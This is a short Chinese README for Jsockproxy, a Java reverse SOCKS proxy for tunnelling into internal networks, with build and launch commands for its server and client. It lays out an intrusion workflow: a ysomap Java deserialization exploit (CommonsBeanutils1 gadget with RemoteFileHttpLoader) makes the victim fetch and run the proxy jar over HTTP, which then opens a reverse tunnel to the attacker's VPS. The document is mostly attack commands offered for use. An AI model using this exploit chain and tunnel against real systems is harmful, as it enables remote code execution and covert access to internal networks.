Jsockproxy是Java版反向socks代理,适用于内网穿透。
mvn clean package -DskipTests
java -cp target/jsockproxy.jar jsockproxy.server.ProxyServerApp -ssl false -serverPort VPS服务器端口 -token 123456
java -cp target/jsockproxy.jar jsockproxy.client.ProxyClientApp -ssl false -token 123456 -trunnelHost VPS服务器IP -trunnelPort VPS服务器端口 -groups test -serverFrontPorts VPS服务器代理端口
这场景主要是Java反序列化场景下,远程加载jar文件,按照默认配置,向服务端建立起反向代理,并进行内网渗透的场景:
// 修改下面代码中默认配置,具体看注释
jsockproxy.server.ProxyServerApp
jsockproxy.client.ProxyClientApp
// 编译
mvn clean package -DskipTests
java -cp target/jsockproxy.jar jsockproxy.server.ProxyServerApp
Java 反序列化漏洞测试,例如使用ysomap
java -jar cli/target/ysomap.jar cli
use exploit LDAPLocalChainListener
use payload CommonsBeanutils1
use bullet TemplatesImplBullet
set lport 1389
set type loader
set effect RemoteFileHttpLoader
set body "http://127.0.0.1/jsockproxy.jar;jsockproxy.client.ProxyClientStart"
run